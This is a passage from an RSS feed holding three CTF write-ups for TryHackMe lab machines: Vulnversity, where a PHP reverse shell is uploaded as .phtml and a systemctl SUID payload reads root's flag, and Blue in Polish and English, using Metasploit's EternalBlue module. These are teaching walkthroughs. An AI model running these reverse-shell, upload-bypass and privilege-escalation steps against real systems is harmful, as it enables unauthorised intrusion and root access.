            <content:encoded><![CDATA[<h3>Vulnversity — write-up (TryHackMe)</h3><p>Vulnversity is an easy-medium CTF on the TryHackMe platform. This machine is suitable for beginners and intermediates.<br>NOTE: This writeup does not go through all the steps needed on TryHackMe, only the initial access, privilege escalation and flag acquisition.</p><blockquote><em>NMAP SCAN</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*O4L_65cONivY1emeVjOmJg.png" /></figure><p><strong>When scanning the ports, I used the options:</strong></p><p><strong>-sV</strong>: Enables version detection to determine the version of services running on open ports.</p><p><strong>-T5</strong>: Sets the scan timing to “Insane,” prioritizing speed but potentially being more detectable, which doesn’t interfere with doing CTFs.</p><p><strong>-Pn</strong>: Disables host discovery, scanning targets as if they are always online (useful for bypassing firewalls).</p><p>A nmap scan showed the following ports:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*ubuysUdgqu0r-nsBhj5_BA.png" /></figure><p>After doing some preliminary research, we notice that vsftpd 3.0.3 is vulnerable to DoS attack. This is a critical vulnerability, but not very useful for CTFs.</p><p>On port 3333 we notice a working web application. To see it, type <a href="http://ip.ip.ip.ip:3333/">http://IP.IP.IP.IP:3333</a> into your browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*uxhdrUoT4hMoSJb3GUXjjg.png" /></figure><p>The first thing I always do during CTFs when encountering a website is brute-forcing subdomains and directories using tools like Gobuster, FFUF, Dirb, etc.</p><p>In this situation we will use the GoBuster tool with the command:</p><p>gobuster dir -u <a href="http://ip.ip.ip.ip:3333/">http://ip.ip.ip.ip:3333</a> -w /path/to/your/directory_list -t 50</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*eSeaAgYk714YLUcc0MLBqw.png" /></figure><p>The directory list I used is SecLists, you can download it here:</p><p><a href="https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/directory-list-2.3-medium.txt">SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt at master · danielmiessler/SecLists</a></p><p>Scan showed directory /internal, it is worth checking it out</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*8uKkDnm7r3mARpyCqVguNg.png" /></figure><p>The /internal directory allows file uploads. In such cases, we typically try to upload a PHP reverse shell to the page.</p><p><a href="https://github.com/pentestmonkey/php-reverse-shell">GitHub - pentestmonkey/php-reverse-shell</a></p><p>After trying to upload a php file, we notice that the .php extension is not allowed, so we need to check what extensions the website supports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3YjIMSNceQjozyjGf-uBhQ.png" /></figure><p>For this we will use the BurpSuite tool and SecLists extensions list.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*sbLxjy0SGRJV47ffHNdEeg.png" /></figure><p><a href="https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt">SecLists/Discovery/Web-Content/web-extensions.txt at master · danielmiessler/SecLists</a></p><p>In the next step, navigate to the <strong>Intruder</strong> tab in Burp Suite, select the <strong>.php</strong> parameter, choose the <strong>Sniper</strong> attack type, and paste the list of extensions into the <strong>Payloads</strong> tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0vo90y5SxdXNmNEJ_r_w8g.png" /></figure><p><strong>Remember to uncheck the </strong><strong>URL-encode these characters option!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*A2IX00UfHOPgB01poLWDtQ.png" /></figure><p>After a successful attack, you will notice that one extension has a slightly different server response length compared to others.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LRIeeVidaU4mb1ck_CNnLg.png" /></figure><p>This means that the server accepts files with the extension <strong>.phtml</strong></p><p>Modify the reverse shell PHP file by changing its extension to <strong>.phtml</strong></p><p>Then, update its contents by replacing the IP address with that of your <strong>TryHackMe VPN</strong>. You can check it with the ip a command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wkohb12NMrWVh7B5O9fEWA.png" /></figure><p>-Submit a file to the site<br>-Enable listening on the port you previously selected (default 1234) with the nc -nvlp 1234 command<br>-Open <a href="http://ip.ip.ip.ip:3333/internal/uploads">http://IP.IP.IP.IP:3333/internal/uploads</a> and select the file you previously uploaded there</p><p>After following these steps, you will get a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vd-JpaS2qiqPOgEOi7MSow.png" /></figure><blockquote><em>PRIVILEGE ESCALATION</em></blockquote><p>After gaining initial access, we need to escalate our privileges.</p><p>We will use the following command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*H_QQZmNjNvAcv4QAKzE6rQ.png" /></figure><p>find / -type f -perm -04000 -ls 2&gt;/dev/null</p><p>After executing the command, you will notice a lot of binaries. We are interested in systemctl.</p><p>In the next step, go to the GTFOBins page, which is very helpful for privilege escalation. Find systemctl and select <strong>SUID</strong>.</p><p><a href="https://gtfobins.github.io/">GTFOBins</a></p><p>On GTFOBins you will notice something like this, we need to modify it slightly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WerMrEiGzTJiXXkXieCSwg.png" /></figure><p><strong>Remember to copy everything LINE BY LINE!</strong></p><p><strong><em>Modified version:</em></strong></p><p><strong>TF=$(mktemp).service<br>echo ‘[Service]<br>Type=oneshot<br>ExecStart=/bin/sh -c “cat /root/root.txt &gt; /tmp/output”<br>[Install]<br>WantedBy=multi-user.target’ &gt; $TF<br>/bin/systemctl link $TF<br>/bin/systemctl enable — now $TF</strong></p><p>The root.txt flag will be copied to the /tmp directory.</p><p>To read it use cat /tmp/output command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TtT58rf2fjIqRk9rt05Iiw.png" /></figure><p>That’s it! Copy the flag to the TryHackMe platform and enjoy your completed CTF! 🎉</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=006f17da1421" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[PL] Blue — Rozwiązanie (TryHackMe, HackTheBox)]]></title>
            <link>https://medium.com/@KarolCzubernat/pl-blue-rozwi%C4%85zanie-tryhackme-hackthebox-2f790fc91103?source=rss-34465ecf26ed------2</link>
            <guid isPermaLink="false">https://medium.com/p/2f790fc91103</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Karol Czubernat]]></dc:creator>
            <pubDate>Wed, 12 Feb 2025 20:10:51 GMT</pubDate>
            <atom:updated>2025-02-12T20:10:51.656Z</atom:updated>
            <content:encoded><![CDATA[<h3>[PL] Blue — Rozwiązanie (TryHackMe, HackTheBox)</h3><p>Publikuję tutaj opis przejścia łatwego CTF-a “Blue” z platformy TryHackMe (można go również znaleźć na HackTheBox, choć końcowe etapy lekko się różnią). Jest to CTF stosunkowo prosty, sprawdza się dla osób początkujących.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/275/1*Sis5Xi8MSco4Z1dyc6t8Tg.png" /></figure><blockquote><strong><em>SKANOWANIE PORTÓW NMAPEM</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*O4L_65cONivY1emeVjOmJg.png" /></figure><p>sudo nmap -sV -T5 10.10.214.27 -Pn</p><p>W wyniku skanowania zidentyfikowano otwarte porty:</p><p><em>135/tcp open msrpc Microsoft Windows RPC<br>139/tcp open netbios-ssn Microsoft Windows netbios-ssn<br>445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)<br>3389/tcp open tcpwrapped<br>49152/tcp open msrpc Microsoft Windows RPC<br>49153/tcp open msrpc Microsoft Windows RPC<br>49154/tcp open msrpc Microsoft Windows RPC<br>49158/tcp open msrpc Microsoft Windows RPC<br>49160/tcp open msrpc Microsoft Windows RPC</em></p><p>Podczas przeprowadzania wstępnego researchu zauważyliśmy, że na porcie 445/tcp (microsoft-ds) działa usługa Windows 7 Professional 7601 Service Pack 1, która jest podatna na lukę CVE-2017–0144, znaną jako EternalBlue.</p><blockquote><strong><em>WYKORZYSTANIE PODATNOŚCI ETERNALBLUE (METASPLOIT)</em></strong></blockquote><p>Do ataku użyjemy frameworka Metasploit. Aby go uruchomić, użyj poleceniamsfconsole .</p><p>Po załadowaniu Metasploita musimy zmienić kilka ustawień. Pierwsze, co zrobimy, to wybranie exploita poleceniem:</p><p>use exploit/windows/smb/ms17_010_eternalblue</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*nlZzdf_Mt-tgx_fY6VI3Bw.png" /></figure><p>Następnym krokiem będzie zmiana <strong>LHOST</strong>, gdzie wpiszemy IP naszego VPNa (tun0) z platformy TryHackMe. IP można sprawdzić poleceniem ip a .</p><p>set LHOST 10.23.66.24</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*ivYDp07uBwCU8S042DISQw.png" /></figure><p>Kolejny krok to zmiana RHOSTS, czyli IP maszyny, którą atakujemy.</p><p>set RHOSTS 10.10.22.14</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*y8dGu9lq3OprxdSLoT1vOg.png" /></figure><p>W tym momencie warto sprawdzić, czy wszystko zrobiliśmy poprawnie. Jeśli tak, to można przejść do ostatniego kroku, czyli uruchomienie exploita poleceniem run lub exploit .</p><p>Jeśli wszystko zrobiliśmy poprawnie, otrzymamy sesję Meterpretera. Następnie, aby uruchomić powłokę systemu Windows, użyj polecenia shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*KUTMWkzs87WOIhm3_Z1ygw.png" /></figure><p>Teraz możesz przejść do katalogu „C:\”, używając polecenia cd ../../../</p><p>Po użyciu polecenia dir zauważysz, że flaga znajduje się w katalogu. Możesz odczytać jej zawartość, używając polecenia type flag1.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*MsXuJJ-BkQtWM8ae-z-GpQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2f790fc91103" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blue Write-up (TryHackMe, HackTheBox)]]></title>
            <link>https://medium.com/@KarolCzubernat/blue-write-up-tryhackme-hackthebox-25d9afa5555f?source=rss-34465ecf26ed------2</link>
            <guid isPermaLink="false">https://medium.com/p/25d9afa5555f</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Karol Czubernat]]></dc:creator>
            <pubDate>Wed, 12 Feb 2025 18:35:34 GMT</pubDate>
            <atom:updated>2025-02-12T20:18:26.674Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a write-up for the classic CTF Blue on the TryHackMe platform (you can also find it on HackTheBox). It is suitable for beginners and relatively easy.<br>This write-up does not include all the steps that are required on TryHackMe, only gaining initial access, privilege escalation and gaining flags.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*dEkDE0P4l81Op0anGpSsyw.png" /></figure><blockquote><strong><em>NMAP SCAN</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*EeQuGF6gOtgkNnCqlZwDLA.png" /></figure><p>sudo nmap -A -T5 10.10.22.14 -Pn</p><p>The scan showed several open ports.</p><p><em>135/tcp open msrpc Microsoft Windows RPC<br>139/tcp open netbios-ssn Microsoft Windows netbios-ssn<br>445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)<br>3389/tcp open tcpwrapped<br>49152/tcp open msrpc Microsoft Windows RPC<br>49153/tcp open msrpc Microsoft Windows RPC<br>49154/tcp open msrpc Microsoft Windows RPC<br>49158/tcp open msrpc Microsoft Windows RPC<br>49160/tcp open msrpc Microsoft Windows RPC</em></p><p>After researching on Google, we found that port 445/tcp (microsoft-ds) on Windows 7 Professional 7601 Service Pack 1 is associated with CVE-2017–0144, also known as EternalBlue.</p><blockquote><strong><em>AUTOMATIC EXPLOITATION (METASPLOIT)</em></strong></blockquote><p>We will use a metasploit to attack. To use it, use the msfconsole command in the terminal.</p><p>After launching Metasploit, we need to adjust a few settings.</p><p>The first step will be to select the exploit with the command:</p><p>use exploit/windows/smb/ms17_010_eternalblue</p><p>Now set the <strong>LHOST</strong> parameter to the IP address of your TryHackMe VPN connection. You can find your IP address by running the ip a command in the terminal and locating the address associated with the <strong>tun0</strong> interface.</p><p>set LHOST 10.23.66.24</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*ivYDp07uBwCU8S042DISQw.png" /></figure><p>Next, we need to change the<strong> RHOSTS </strong>parameter, which stands for the IP of the machine we are attacking. You can check it on the HackTheBox/TryHackMe platform, depending on where you perform the CTF.</p><p>set RHOSTS 10.10.22.14</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*y8dGu9lq3OprxdSLoT1vOg.png" /></figure><p>After making sure you’ve done everything right, you can use the exploit or run command to launch an attack.</p><p>If everything is set up correctly, you will receive a Meterpreter session. To spawn a Windows shell, use the shell command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*KUTMWkzs87WOIhm3_Z1ygw.png" /></figure><p>Now, you can navigate to the “C:\” directory to retrieve the flag by using the cd ../../../ command.</p><p>After using the dir command, you will notice that a flag is present. You can read its contents using the type flag1.txt command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*MsXuJJ-BkQtWM8ae-z-GpQ.png" /></figure><p><strong>NOTE: This process may differ slightly if you do it on HackTheBox</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=25d9afa5555f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>